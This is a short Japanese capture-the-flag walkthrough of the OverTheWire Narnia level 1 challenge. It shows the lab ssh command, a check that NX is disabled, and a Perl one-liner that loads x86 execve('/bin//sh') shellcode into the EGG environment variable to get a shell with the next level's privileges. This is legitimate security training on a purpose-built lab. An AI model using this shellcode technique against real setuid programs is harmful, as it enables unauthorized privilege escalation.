OverTheWire:Narnia1
narnia1 で ssh 接続。
ssh narnia0@narnia.labs.overthewire.org -p 2226
今回のお題(/narnia/narnia1.c )はこちら。どうやらシェルコードをEGGという環境変数に設定した後、実行すれば良いらしい。。
環境変数は実行時にスタックに積まれる。云わずもがなだけど、スタックが実行可能(NXが無効)になっている必要があるので、チェックしてみる。
NXは disabled なので問題無し。
ということで、あとはx86(32ビット)の適当なシェルコードを環境変数EGGとして設定してしまえば良い。自分で作るのは面倒なので、シェルコードはここの記事から引用した。
下記のコマンドで 環境変数を設定した後、/narnia/narnia1 を実行するとシェルが起動した。
export EGG=$(perl -e 'print "\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80"')
実効ID (euid)が narnia2 になっているので、これで次のステージのパスワードが読める。
というわけで、次のステージ(narnia2)へ。。